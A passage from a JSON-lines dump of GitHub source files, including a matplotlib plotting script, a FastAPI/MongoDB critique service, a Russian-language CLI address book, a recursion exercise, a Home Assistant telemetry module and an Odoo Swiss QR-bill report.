\r\n#%%\r\nfig=plt.figure(1,figsize=(8,8))\r\n#fig=plt.figure(1,figsize=(8,6))\r\nfig.clf()\r\n#\r\n#ax1=plt.subplot2grid((5,3),(3,0))\r\n#ax2=plt.subplot2grid((5,3),(3,1))\r\n#ax3=plt.subplot2grid((5,3),(3,2))\r\n#ax4=plt.subplot2grid((5,3),(4,0))\r\n#ax5=plt.subplot2grid((5,3),(4,1))\r\n#ax6=plt.subplot2grid((5,3),(4,2))\r\n#ax0=plt.subplot2grid((5,3),(0,0),colspan=3,rowspan=3)\r\n#\r\nax1=plt.subplot2grid((7,3),(3,0),colspan=1,rowspan=2)\r\nax2=plt.subplot2grid((7,3),(3,1),colspan=1,rowspan=2)\r\nax3=plt.subplot2grid((7,3),(3,2),colspan=1,rowspan=2)\r\nax4=plt.subplot2grid((7,3),(5,0),colspan=1,rowspan=2)\r\nax5=plt.subplot2grid((7,3),(5,1),colspan=1,rowspan=2)\r\nax6=plt.subplot2grid((7,3),(5,2),colspan=1,rowspan=2)\r\nax0=plt.subplot2grid((7,3),(0,0),colspan=3,rowspan=3)\r\n \r\nim0=ax0.scatter(isis[:,0],isis[:,1],s=2,c=isis[:,2],marker='.',\r\n edgecolors='none',cmap='jet',vmin=0,vmax=1.2,) \r\nax0.set_yscale('log')\r\nax0.set_xlim(0.18,0.33)\r\nax0.set_ylim((5,5000))\r\nax0.set_xlabel('$\\mathsf{g_{sd} (mS/cm^2)}$',fontsize='large')\r\nax0.set_ylabel('ISI (ms)')\r\n\r\npos=plt.axes([0.12,0.65,0.014,0.14])\r\ncb=plt.colorbar(im0,cax=pos,ticks=(0,0.6,1.2),extend='max')\r\ncb.set_label('Lyapunov Exponent',fontsize='x-small')\r\ncb.ax.tick_params(labelsize='x-small')\r\n\r\nfor label,pos in zip(range(1,7),(0.21,0.23,0.245,0.265,0.28,0.32)):\r\n ax0.text(pos,260,'(%i)'%label,va='bottom',ha='center',fontsize='small')\r\n\r\n \r\ni=1\r\n\r\nfor trace,ax in zip(Vtraces,(ax1,ax2,ax3,ax4,ax5,ax6)):\r\n ax.plot(time,trace,'k',lw=1)\r\n ax.axis('off')\r\n if ax in (ax1,ax2,ax3):\r\n ax.set_xlim((1,2.5))\r\n else:\r\n ax.set_xlim((1,2))\r\n ax.plot((1,1.25),(-83,-83),'k',lw=2, clip_on = False) \r\n ax.set_ylim((-80,10))\r\n ax.text(1,5,\"(%d)\"%i,va='bottom',ha='right')\r\n i+=1\r\n \r\nplt.figtext(0.02,0.99,'A',fontsize='xx-large',va='top',ha='center')\r\nplt.figtext(0.02,0.6,'B',fontsize='xx-large',va='top',ha='center') \r\n \r\n \r\nplt.tight_layout()\r\n","repo_name":"keshengxuu/HBIhchaos2017","sub_path":"Figures/Figure5/Figure5-gsd bifurcation.py","file_name":"Figure5-gsd bifurcation.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"1221471626","text":"import abc\nfrom datetime import datetime\nfrom typing import Union\n\nfrom fastapi.responses import JSONResponse\nfrom motor.motor_asyncio import AsyncIOMotorClient\n\nfrom models.critique import CritiqueAdded, CritiqueLiked, Critique, DropDownSorting\n\n\nclass AbstractCritiqueDB(abc.ABC):\n @abc.abstractmethod\n async def add_critique(\n self, movie_id: str, user_id: str,\n movie_score: int, text: str) -> Union[CritiqueAdded, JSONResponse]:\n pass\n\n @abc.abstractmethod\n async def add_critique_like(\n self, critique_id: str, user_id: str,\n like: int) -> Union[JSONResponse, CritiqueLiked]:\n pass\n\n @abc.abstractmethod\n async def get_critique_list(\n self, movie_id: str,\n sorting_type: DropDownSorting\n ) -> list[Critique]: # type: ignore\n pass\n\n\nclass MongoDBCritique(AbstractCritiqueDB):\n\n def __init__(self, client: AsyncIOMotorClient):\n self.client = client\n self.ugc_db = self.client.ugc_database\n self.critique_collection = self.ugc_db[\"critique\"]\n self.critique_likes_collection = self.ugc_db[\"critique_likes\"]\n\n async def add_critique(\n self, movie_id: str,\n user_id: str,\n movie_score: int, text: str\n ) -> Union[CritiqueAdded, JSONResponse]:\n \"\"\"Add critique to Mongo DB\"\"\"\n critique_was_added = await self.do_insert_critique(user_id, movie_id,\n movie_score, text)\n return critique_was_added\n\n async def do_insert_critique(\n self, user_id: str,\n movie_id: str,\n movie_score: int, text: str\n ) -> Union[CritiqueAdded, JSONResponse]:\n doc = await self.critique_collection.find_one({\"movie_id\": movie_id,\n \"user_id\": user_id})\n if doc is None:\n result = await self.critique_collection.insert_one(\n {\"movie_id\": movie_id,\n \"user_id\": user_id,\n \"movie_score\": movie_score,\n \"text\": text,\n \"timestamp\": datetime.now()},\n )\n\n if result.inserted_id:\n return CritiqueAdded(added=True)\n\n return JSONResponse(content=\"You've already added review to current movie\")\n\n async def add_critique_like(self, critique_id: str, user_id: str,\n like: int) -> CritiqueLiked:\n \"\"\"Add like/dislike to critique in Mongo DB\"\"\"\n critique_liked = await self.insert_critique_like(critique_id,\n user_id, like)\n return critique_liked\n\n async def insert_critique_like(self, critique_id: str,\n user_id: str, like: int) -> Union[JSONResponse, CritiqueLiked]:\n doc = await self.critique_likes_collection.find_one({\"critique_id\": critique_id,\n \"user_id\": user_id})\n if doc is None:\n result = await self.critique_likes_collection.insert_one(\n {\"critique_id\": critique_id,\n \"user_id\": user_id,\n \"like\": like,\n })\n\n if result.inserted_id:\n return CritiqueLiked(liked=True)\n else:\n return JSONResponse(content=\"Failed to insert critique\")\n else:\n # update\n result = await self.update_like(critique_id=critique_id,\n user_id=user_id,\n like=like,\n )\n\n return result\n\n async def update_like(\n self, critique_id: str,\n user_id: str, like: int\n ) -> Union[JSONResponse, CritiqueLiked]:\n\n doc = await self.critique_likes_collection.find_one({\"critique_id\": critique_id,\n \"user_id\": user_id})\n if doc is None:\n return JSONResponse(content=\"Cant find critique_id nd/or user_id\")\n else:\n doc_id = doc[\"_id\"]\n result = await self.critique_likes_collection.update_one(\n {\"_id\": doc_id},\n {\"$set\":\n {\"like\": like},\n })\n\n if result.modified_count:\n return CritiqueLiked(liked=True)\n return CritiqueLiked(liked=False)\n\n async def get_critique_list(\n self, movie_id: str,\n sorting_type: DropDownSorting\n ) -> list[Critique]: # type: ignore\n\n pipeline = self.get_pipeline(movie_id=movie_id,\n sorting_type=sorting_type)\n critique_list = await self.get_list_with_rating(pipeline)\n sorted_critique = self.sorting_critique_list(critique_list, sorting_type)\n\n return [Critique(critique_id=str(cl[\"critique_id\"]),\n movie_score=cl[\"movie_score\"],\n critique_rating=cl[\"critique_rating\"],\n creation_date=cl[\"creation_date\"]) for cl in sorted_critique]\n\n @staticmethod\n def get_pipeline(movie_id: str,\n sorting_type: DropDownSorting) -> list:\n pipeline = [\n {\"$match\":\n {\"movie_id\": movie_id},\n }]\n if sorting_type == DropDownSorting.by_date:\n pipeline.append(\n {\"$sort\":\n {\"timestamp\": -1}, # type: ignore\n })\n return pipeline\n\n async def get_list_with_rating(self, pipeline:list) -> list:\n critique_list = []\n async for doc in self.critique_collection.aggregate(pipeline):\n rating_pipeline = [{\"$match\":\n {\"critique_id\": str(doc[\"_id\"])},\n },\n {\"$group\":\n {\n \"_id\": \"$critique_id\",\n \"rating\": {\"$sum\": \"$like\"},\n },\n },\n ]\n\n async for res in self.critique_likes_collection.aggregate(rating_pipeline):\n critique_list.append({\"critique_id\": doc[\"_id\"],\n \"movie_score\": doc[\"movie_score\"],\n \"critique_rating\": res[\"rating\"],\n \"creation_date\": doc[\"timestamp\"]})\n return critique_list\n\n @staticmethod\n def sorting_critique_list(\n critique_list:list,\n sorting_type: DropDownSorting\n ) -> list:\n if sorting_type == DropDownSorting.by_rating:\n sorted_critique = sorted(critique_list,\n key=lambda r: r[\"critique_rating\"], reverse=True)\n else:\n sorted_critique = sorted(critique_list,\n key=lambda r: r[\"creation_date\"], reverse=True)\n return sorted_critique\n","repo_name":"NataliaLaktyushkina/UGC_Service_part_2","sub_path":"fast_api/src/services/service_critique.py","file_name":"service_critique.py","file_ext":"py","file_size_in_byte":7172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"23849316029","text":"from collections import UserDict\nfrom datetime import datetime\nfrom datetime import date\nfrom itertools import islice\nimport pickle\nimport os\nimport re\n\n\nclass Record:\n\tdef __init__(self, name, phone=None, birthday=None):\n\t\tself.name = name\n\t\tself.phones = []\n\t\tself.birthday = birthday\n\n\t\tif phone:\n\t\t\tself.add_phone(phone)\n\n\tdef check_phone(self, phone) -> bool:\n\t\tif str(phone) in self.phones:\n\t\t\treturn True\n\t\treturn False\n\n\tdef add_phone(self, phone) -> bool:\n\t\tif not self.check_phone(phone):\n\t\t\tself.phones.append(str(phone))\n\t\t\treturn True\n\t\treturn False\n\n\tdef update_phone(self, phone, new_phone) -> bool:\n\t\tif self.check_phone(phone):\n\t\t\tself.delete_phone(phone)\n\t\t\tself.add_phone(new_phone.value)\n\t\t\treturn True\n\t\traise ValueError\n\n\tdef delete_phone(self, phone) -> bool:\n\t\tif self.check_phone(phone):\n\t\t\tself.phones.remove(str(phone))\n\t\t\treturn True\n\t\treturn False\n\n\tdef days_to_birthday(self):\n\t\tif self.birthday.value is None:\n\t\t\treturn \"невозможно посчитать\"\n\t\ttoday = date.today()\n\t\tsplitted_data = self.birthday.value.split('.')\n\t\tneeded_data = datetime(year=int(today.year), month=int(splitted_data[1]),\n\t\t day=int(splitted_data[0]))\n\t\tneeded_data = needed_data.date()\n\t\tif needed_data < today:\n\t\t\tneeded_data = datetime(year=int(today.year) + 1, month=int(splitted_data[1]),\n\t\t\t day=int(splitted_data[0]))\n\t\t\tneeded_data = needed_data.date()\n\t\tdifference = needed_data - today\n\t\tresult = difference.days\n\t\treturn f'{result}'\n\n\tdef __repr__(self):\n\t\treturn f'{self.phones if self.phones else \"Number not recorded\"}; ' \\\n\t\t f'BD: {self.birthday.value if self.birthday else \"Birth date not recorded\"}; ' \\\n\t\t f\"{self.days_to_birthday() if self.birthday else 'Cant calculate'}.\"\n\n\nclass Field:\n\tdef __init__(self, value) -> None:\n\t\tself.__value = None\n\t\tself.value = value\n\n\nclass Name(Field):\n\n\tdef __repr__(self):\n\t\treturn self.value\n\n\t@property\n\tdef value(self):\n\t\treturn self.__value\n\n\t@value.setter\n\tdef value(self, value):\n\t\tif value and type(value) is str and not [x for x in value if x.isdigit()]:\n\t\t\tself.__value = value\n\t\telse:\n\t\t\traise NameIncorrect\n\n\nclass Phone(Field):\n\n\tdef __repr__(self):\n\t\treturn f'{self.__value}'\n\n\t@property\n\tdef value(self):\n\t\treturn self.__value\n\n\t@value.setter\n\tdef value(self, n_value):\n\t\tn_value = n_value.strip()\n\t\tfor ch in n_value:\n\t\t\tif ch not in \"0123456789()-+\":\n\t\t\t\traise ValueError\n\t\tself.__value = n_value\n\n\nclass Birthday(Field):\n\tdef __repr__(self):\n\t\treturn self.value\n\n\t@property\n\tdef value(self):\n\t\treturn self.__value\n\n\t@value.setter\n\tdef value(self, b_value):\n\t\tif b_value:\n\t\t\ttry:\n\t\t\t\tdatetime.strptime(b_value, \"%d.%m.%Y\")\n\t\t\texcept ValueError:\n\t\t\t\traise BirthdayIncorrect\n\t\telse:\n\t\t\tself.__value = None\n\t\tself.__value = b_value\n\n\nclass AddressBook(UserDict):\n\n\tdef add_record(self, record: Record):\n\t\tself.data[record.name.value] = record\n\n\tdef __next__(self):\n\t\treturn next(self.iterator())\n\n\tdef iterator(self, n=2):\n\t\tstart, page = 0, n\n\t\twhile True:\n\t\t\tyield dict(islice(self.data.items(), start, n))\n\t\t\tstart, n = n, n + page\n\t\t\tif start >= len(self.data):\n\t\t\t\tbreak\n\n\naddress_book = AddressBook()\n\nf_name = 'contacts_data.bin'\n\n\nclass NameAlreadyExists(Exception):\n\tpass\n\n\nclass PhoneAlreadyExists(Exception):\n\tpass\n\n\nclass ChooseOverweld(Exception):\n\tpass\n\n\nclass NameIncorrect(Exception):\n\tpass\n\n\nclass BirthdayIncorrect(Exception):\n\tpass\n\n\ndef input_exception(func):\n\tdef wrapper(*args, **kwargs):\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\treturn func(*args, **kwargs)\n\t\t\texcept NameIncorrect:\n\t\t\t\tprint('Некорректное имя.')\n\t\t\t\tcontinue\n\t\t\texcept ValueError:\n\t\t\t\tprint(\"Номер введён неверно. Попробуйте ещё раз.\")\n\t\t\t\tcontinue\n\t\t\texcept BirthdayIncorrect:\n\t\t\t\tprint(\"Дата рождения введена неверно. Попробуйте ещё раз.\")\n\t\t\t\tcontinue\n\t\t\texcept NameAlreadyExists:\n\t\t\t\tprint(\"Такое имя уже существует. Попробуйте ещё раз.\")\n\t\t\t\tcontinue\n\t\t\texcept KeyError:\n\t\t\t\tprint(\"Такого контакта в телефонной книге нет!\")\n\t\t\t\tcontinue\n\t\t\texcept PhoneAlreadyExists:\n\t\t\t\tprint(\"Такой номер уже существует. Попробуйте ещё раз.\")\n\t\t\t\tcontinue\n\t\t\texcept ChooseOverweld:\n\t\t\t\tprint(\"Выберите один из пунктов меню!\")\n\t\t\t\tcontinue\n\n\treturn wrapper\n\n\n...\n\n\n@input_exception\ndef add_name() -> Name:\n\tname = Name(input('Введите имя: ').strip().title())\n\tif name.value in address_book:\n\t\traise NameAlreadyExists\n\n\treturn name\n\n\n@input_exception\ndef add_phone() -> Phone:\n\tphone = Phone(input('Введите номер телефона: ').strip())\n\n\treturn phone\n\n\n@input_exception\ndef add_birthday() -> Birthday:\n\tbirthday = Birthday(input('Введите дату рождения \"дд.мм.гггг.\": ').strip())\n\tif birthday.value == '':\n\t\tbirthday.value = None\n\telif birthday.value.split('.')[2] < '1900' or birthday.value.split('.')[2] > '2022':\n\t\traise BirthdayIncorrect\n\treturn birthday\n\n\n@input_exception\ndef add_command() -> None:\n\tprint('--- Добавление записи ---')\n\tname = add_name()\n\tphone = add_phone()\n\tbirthday = add_birthday()\n\trecord = Record(name, phone, birthday)\n\taddress_book.add_record(record)\n\tprint(f'Запись \"{record.name.value}\" добавлена\\n---***---')\n\n\ndef view_command() -> None:\n\tprint('--- Просмотр записей ---')\n\tfor key, value in address_book.items():\n\t\tprint(f'{key} - {\", \".join(address_book[key].phones)}; '\n\t\t f'{address_book[key].birthday.value if address_book[key].birthday.value else \"Не указано\"}\\n----')\n\n\n@input_exception\ndef update_command() -> None:\n\tprint('--- Обновление записи ---')\n\tif address_book:\n\t\tfor index, name in enumerate(address_book):\n\t\t\tprint(f'{str(index + 1) + \".\":<3} -- {name + \";\":<15}')\n\t\tname_choose = int(input('Выберите номер записи для обновления: '))\n\t\tif name_choose > len(address_book):\n\t\t\traise ChooseOverweld\n\t\tname = address_book[list(address_book.keys())[name_choose - 1]]\n\t\tprint(f'Запись \"{name.name.value}\" выбрана')\n\t\tfor index, number in enumerate(name.phones):\n\t\t\tprint(f'{str(index + 1) + \".\":<1} -- {number};')\n\t\tnumber_choose = int(input('Выберите номер для обновления: '))\n\t\tif number_choose > len(name.phones):\n\t\t\traise ChooseOverweld\n\t\tphone = name.phones[number_choose - 1]\n\t\tprint(f'Номер \"{phone}\" выбран')\n\t\tnew_phone = add_phone()\n\t\tif new_phone in name.phones:\n\t\t\traise PhoneAlreadyExists\n\t\tname.phones[number_choose - 1] = str(new_phone)\n\t\tprint(f'Номер \"{phone}\" обновлён на \"{new_phone}\"\\n---***---')\n\telse:\n\t\tprint('Телефонная книга пуста')\n\n\n@input_exception\ndef append_command() -> None:\n\tprint('--- Добавление номера телефона ---')\n\tif address_book:\n\t\tfor index, name in enumerate(address_book):\n\t\t\tprint(f'{str(index + 1) + \".\":<3} -- {name + \";\":<15}')\n\t\tname_choose = int(input('Выберите запись, в которую нужно добавить телефон: '))\n\n\t\tif name_choose > len(address_book):\n\t\t\traise ChooseOverweld\n\t\tname = address_book[list(address_book.keys())[name_choose - 1]]\n\t\tprint(f'Запись \"{name.name.value}\" выбрана')\n\t\tphone = add_phone()\n\t\tif phone.value in name.phones:\n\t\t\traise PhoneAlreadyExists\n\t\tname.phones.append(phone.value)\n\t\tprint(f'Номер \"{phone}\" добавлен к записи \"{name.name.value}\"\\n---***---')\n\telse:\n\t\tprint('Телефонная книга пуста')\n\n\n@input_exception\ndef delete_phone_command() -> None:\n\tprint('--- Удаление номера телефона ---')\n\tif address_book:\n\t\tfor index, name in enumerate(address_book):\n\t\t\tprint(f'{str(index + 1) + \".\":<3} -- {name + \";\":<15}')\n\t\tname_choose = int(input('Выберите запись из которой нужно удалить телефон: '))\n\t\tif name_choose > len(address_book):\n\t\t\traise ChooseOverweld\n\t\tname = address_book[list(address_book.keys())[name_choose - 1]]\n\t\tprint(f'Запись \"{name.name.value}\" выбрана:')\n\t\tfor index, number in enumerate(name.phones):\n\t\t\tprint(f'{str(index + 1) + \".\":<1} -- {number};')\n\t\tnumber_choose = int(input('Выберите номер телефона для удаления: '))\n\t\tif number_choose > len(name.phones):\n\t\t\traise ChooseOverweld\n\t\tphone = name.phones[number_choose - 1]\n\t\tname.phones.pop(number_choose - 1)\n\t\tprint(f'Номер \"{phone}\" удалён из записи \"{name.name.value}\".\\n---***---')\n\telse:\n\t\tprint('Телефонная книга пуста')\n\n\n@input_exception\ndef delete_contact_command() -> None:\n\tprint('--- Удаление контакта ---')\n\tif address_book:\n\t\tfor index, name in enumerate(address_book.keys()):\n\t\t\tprint(f'{str(index + 1) + \".\":<3} -- {name + \";\":<15}')\n\t\tcontact = int(input('Введите порядковый номер контакта, который вы хотели бы удалить: '))\n\t\tfor inx, name in enumerate(address_book.keys()):\n\t\t\tif contact == inx + 1:\n\t\t\t\tdel address_book[name]\n\t\t\t\tprint(f'Запись \"{name}\" удалена.\\n---***---')\n\t\t\t\tbreak\n\t\t\telif contact > inx + 1:\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\traise ChooseOverweld\n\telse:\n\t\tprint('Телефонная книга пуста')\n\n\n@input_exception\ndef search_command() -> None:\n\tif address_book:\n\t\tprint('--- Поиск контакта ---')\n\t\tsearch= input('Введите фрагмент имени или номера контакта: ')\n\t\tfor name, data in address_book.items():\n\t\t\tif re.search(search, name):\n\t\t\t\tprint(f'Найдено в записи \"{name}\":')\n\t\t\t\tprint(f'Телефоны контакта: {data.phones}')\n\t\t\t\tprint(f'Дата рождения контакта: {data.birthday.value}\\n----')\n\t\t\tfor number in data.phones:\n\t\t\t\tif re.search(search, number):\n\t\t\t\t\tprint(f'Найдено в записи \"{name}\":')\n\t\t\t\t\tprint(f'Телефоны контакта: {data.phones}')\n\t\t\t\t\tprint(f'Дата рождения контакта: {data.birthday.value}\\n----')\n\t\tprint(f'--- Поиск завершен ---')\n\n\telse:\n\t\tprint('Телефонная книга пуста')\n\n\n@input_exception\ndef days_to_birthday() -> None:\n\tif address_book:\n\t\tprint('--- Сколько дней до дня рождения? ---')\n\t\tfor index, name in enumerate(address_book.keys()):\n\t\t\tprint(f'{str(index + 1) + \".\":<3} -- {name + \";\":<15}')\n\t\tname_choose = int(input('Выберите запись, для которой вы хотите получить информацию: '))\n\t\tfor inx, name in enumerate(address_book.keys()):\n\t\t\tif name_choose == inx + 1:\n\t\t\t\tif address_book[name].birthday.value:\n\t\t\t\t\tprint(f'До дня рождения осталось {address_book[name].days_to_birthday()} дней.\\n---***---')\n\t\t\t\telse:\n\t\t\t\t\tprint('Дата рождения не указана.')\n\t\t\t\tbreak\n\t\t\telif name_choose > inx + 1:\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\traise ChooseOverweld\n\telse:\n\t\tprint('Телефонная книга пуста')\n\n\n...\n\n\ndef goodbye() -> None:\n\tprint('До свидания!')\n\texit()\n\n\ndef help_command() -> None:\n\tprint(\n\t\t'---\\n'\n\t\t'Доступные команды:\\n'\n\t\t'add - добавить запись\\n'\n\t\t'show all - просмотреть все записи\\n'\n\t\t'show dtb - просмотреть количество дней до дня рождения контакта\\n'\n\t\t'change - обновить номер телефона\\n'\n\t\t'append - добавить номер телефона\\n'\n\t\t'delete phone - удалить запись\\n'\n\t\t'здравствуйте, привет, hello, hi - приветствие\\n'\n\t\t'delete contact - удалить контакт\\n'\n\t\t'find - поиск записи\\n'\n\t\t'clear, cls - очистить экран\\n'\n\t\t'help - помощь\\n'\n\t\t'exit, выход, quit, q - выход\\n---')\n\n\ndef greetings() -> None:\n\tclear_screen()\n\tprint('---\\nДобро пожаловать в контактную книгу!\\nЧем я могу помочь?')\n\n\ndef clear_screen():\n\tos.system('cls' if os.name == 'nt' else 'clear')\n\n...\n\n\ndef command_parser(command: str) -> None:\n\tfor func, comm in main_commands.items():\n\t\tif command in comm:\n\t\t\treturn func()\n\telse:\n\t\tprint('---\\nНеизвестная команда!\\n---')\n\n\nmain_commands = {\n\tadd_command: 'add',\n\tupdate_command: 'change',\n\tappend_command: 'append',\n\tdelete_phone_command: 'delete phone',\n\tdelete_contact_command: 'delete contact',\n\tview_command: 'show all',\n\tdays_to_birthday: 'show dtb',\n\tsearch_command: 'find',\n\thelp_command: ('help', 'помощь'),\n\tgoodbye: ('exit', 'выход', 'quit', 'q'),\n\tgreetings: ('здравствуйте', 'привет', 'hello', 'hi'),\n\tclear_screen: ('clear', 'cls')\n}\n\n\ndef main():\n\tgreetings()\n\ttry:\n\t\twith open(f_name, 'rb') as f:\n\t\t\taddress_book.data = pickle.load(f)\n\texcept FileNotFoundError:\n\t\tprint(f'Файл {f_name} не найден! Cоздаю новый...')\n\tfinally:\n\t\twith open(f_name, 'wb') as f:\n\t\t\tpickle.dump(address_book.data, f)\n\twhile True:\n\t\tcommand = input('Введите \"hello\" или \"help\":\\n>>>> ')\n\t\tcommand_parser(command.strip().lower())\n\t\twith open(f_name, 'wb') as f:\n\t\t\tpickle.dump(address_book.data, f)\n\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"bkitw/homework_module12","sub_path":"manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":13338,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"22993457465","text":"def subsetsWithDup(nums):\n nums.sort()\n ans = []\n n = len(nums)\n\n def helper(s, i):\n if i == n:\n if s not in ans:\n t = []\n for x in range(len(s)):\n t.append(s[x])\n ans.append(t)\n return\n\n for index in range(i, n):\n if index > i and nums[index] == nums[index-1]:\n continue\n s.append(nums[index])\n helper(s,index+1)\n s.pop() \n helper(s,index+1)\n s = []\n helper(s, 0)\n return ans\n\n\nnums = list(map(int, input().strip().split()))\nprint(subsetsWithDup(nums))\n","repo_name":"rajat844/Python-OOPs-and-DS","sub_path":"Recursion/subsets-2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"71217101670","text":"\"\"\"hass API module. Implements logics to reuse scheduler and influxdb handler for statistics\n\n- Use 'start' to run scheduled with X frequency\n\n\"\"\"\n__author__ = \"Zacharias El Banna\"\n__add_globals__ = lambda x: globals().update(x)\n__type__ = \"TELEMETRY\"\n\nfrom time import time\n\n#\n#\ndef process(aRT, aArgs):\n \"\"\"Function checks hass API, process data and queue reporting to influxDB bucket\n\n Args:\n\n Output:\n - status\n \"\"\"\n def is_float(a_string):\n try:\n float(a_string)\n return True\n except ValueError:\n return False\n\n config = aRT.config['services']['hass']\n url = config['endpoint']\n hdr = {'Authorization': 'Bearer {0}'.format(config['token'])}\n tmpl = '%s,origin=ha,prefix=%s,entity=%s,friendly_name=%s value=%s {0}'.format(int(time()))\n count = 0\n #####\n try:\n res = aRT.rest_call(url + \"/api/states\", aHeader = hdr, aMethod = 'GET')\n except Exception as e:\n return {'status':'NOT_OK','info':str(e)}\n else:\n # Start pulling measurements :-)\n def parser(dev):\n dclss = dev['attributes'].get('device_class','unit')\n fname = dev['attributes'].get('friendly_name','None').replace(\" \", \"_\").replace(\"/\", \"-\").replace(\":\", \"\").replace(\".\", \"\").lower()\n value = dev['state']\n parts = dev['entity_id'][7:].split('_')\n type = parts[0]\n if type != 'nibe':\n start = 1\n end = None\n if type == 'power' and parts[1] =='meter':\n type = 'power_meter'\n start = 2\n elif type == 'multiple' and parts[1] == 'sound':\n type = 'multiple_sound'\n start = 2\n items = len(parts) - start\n\n if dclss == parts[-1] and (items - 1) > 0:\n end = -1\n elif dclss == 'battery' and parts[-1] == 'level' and (items - 2) > 0:\n end = -2\n eid = '_'.join(parts[start:end])\n else:\n eid = parts[2]\n if eid == \"43084\":\n dclss = \"power\"\n value = float(value) * 1000.0\n\n yield tmpl%(dclss, type, eid, fname, value)\n #print(dclss,type,parts,' => ',eid)\n #return tmpl%(dclss, type, eid, fname, value)\n\n records = (parser(dev) for dev in res if dev['attributes'].get('unit_of_measurement') is not None and is_float(dev['state']))\n #records = [parser(dev) for dev in res if dev['attributes'].get('unit_of_measurement') is not None and is_float(dev['state'])]\n aRT.influxdb.write(records, config['bucket'])\n return {'status':'OK','function':'hass_process'}\n\n#\n#\ndef entity(aRT, aArgs):\n \"\"\"Function does a simple hass entity check\n\n Args:\n - entity_id (required)\n\n Output:\n - data\n \"\"\"\n config = aRT.config['services']['hass']\n url = config['endpoint']\n hdr = {'Authorization': 'Bearer {0}'.format(config['token'])}\n tmpl = '%s,origin=ha,entity_id=%s,friendly_name=%s value=%s {0}'.format(int(time()))\n try:\n res = aRT.rest_call(url + \"/api/states/%s\"%aArgs['entity_id'], aHeader = hdr, aMethod = 'GET')\n except Exception as e:\n return {'status':'NOT_OK','info':str(e)}\n else:\n # Start pulling measurements :-)\n return {'status':'OK','data':res}\n\n#\n#\ndef states(aRT, aArgs):\n \"\"\"Function returns hass entites\n\n Args:\n\n Output:\n - data\n \"\"\"\n config = aRT.config['services']['hass']\n url = config['endpoint']\n hdr = {'Authorization': 'Bearer {0}'.format(config['token'])}\n tmpl = '%s,origin=ha,entity_id=%s,friendly_name=%s value=%s {0}'.format(int(time()))\n try:\n res = aRT.rest_call(url + \"/api/states\", aHeader = hdr, aMethod = 'GET')\n except Exception as e:\n return {'status':'NOT_OK','info':str(e)}\n else:\n # Start pulling measurements :-)\n return {'status':'OK','data':res}\n\n########################################################################################\n#\n#\ndef status(aRT, aArgs):\n \"\"\"Function does a simple hass check to verify working connectivity\n\n Args:\n - type (required)\n\n Output:\n - data\n \"\"\"\n ret = {}\n state = aRT.cache.get('hass')\n if state:\n ret['status'] = \"OK\" if state['sync'] else \"NOT_OK\"\n ret['devices'] = state['devices']\n ret['capabilities'] = state['capabilities']\n else:\n ret['status'] = 'NOT_OK'\n return ret\n\n#\n#\ndef sync(aRT, aArgs):\n \"\"\"\n Args:\n - id (required). Server id on master node\n\n Output:\n - code. (error code, optional)\n - output. (output from command)\n - status. (operation result)\n \"\"\"\n return {'status':'NO_OP'}\n\n#\n#\ndef restart(aRT, aArgs):\n \"\"\"Function provides restart capabilities of service\n\n Args:\n\n Output:\n - code\n - output\n - result 'OK'/'NOT_OK'\n \"\"\"\n state = aRT.cache.get('hass',{})\n state['sync'] = False\n return {'status':'OK','code':0,'output':\"\"}\n\n#\n#\ndef parameters(aRT, aArgs):\n \"\"\" Function provides parameter mapping of anticipated config vs actual\n\n Args:\n\n Output:\n - status\n - parameters\n \"\"\"\n settings = aRT.config['services'].get('hass',{})\n params = ['token','bucket','capabilities']\n return {'status':'OK' if all(p in settings for p in params) else 'NOT_OK','parameters':{p:settings.get(p) for p in params}}\n\n#\n#\ndef start(aRT, aArgs):\n \"\"\" Function provides start behavior\n\n Args:\n\n Output:\n - status\n \"\"\"\n config = aRT.config['services']['hass']\n aRT.schedule_api_periodic(process,'hass_process',int(config.get('frequency',60)), args = aArgs, output = aRT.debug)\n return {'status':'OK','info':'scheduled_hass'}\n\n#\n#\ndef stop(aRT, aArgs):\n \"\"\" Function provides stop behavior\n\n Args:\n\n Output:\n - status\n \"\"\"\n return {'status':'NO OP'}\n\n#\n#\ndef close(aRT, aArgs):\n \"\"\" Function provides closing behavior, wrapping up data and file handlers before closing\n\n Args:\n\n Output:\n - status\n \"\"\"\n return {'status':'NO OP'}\n","repo_name":"zelbanna/rims","sub_path":"api/services/hass.py","file_name":"hass.py","file_ext":"py","file_size_in_byte":5373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"33896874725","text":"# -*- coding:utf-8 -*-\nfrom odoo import api, models\n\nclass ReportSwissQR(models.AbstractModel):\n _name = 'report.l10n_ch.qr_report_main'\n _description = 'Swiss QR-bill report'\n\n @api.model\n def _get_report_values(self, docids, data=None):\n docs = self.env['account.move'].browse(docids)\n\n qr_code_urls = {}\n for invoice in docs:\n qr_code_urls[invoice.id] = invoice.partner_bank_id.build_qr_code_base64(invoice.amount_residual, invoice.ref or invoice.name, invoice.payment_reference, invoice.currency_id, invoice.partner_id, qr_method='ch_qr', silent_errors=False)\n\n return {\n 'doc_ids': docids,\n 'doc_model': 'account.move',\n 'docs': docs,\n 'qr_code_urls': qr_code_urls,\n }\n","repo_name":"odoo/odoo","sub_path":"addons/l10n_ch/report/swissqr_report.py","file_name":"swissqr_report.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":31745,"dataset":"github-code","pt":"71"} +{"seq_id":"39443170526","text":"'''\nCreated on Jun 4, 2018\n\n@author: Sam\n'''\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn import model_selection as model_selection\nfrom constants import RANDOM_SEED, 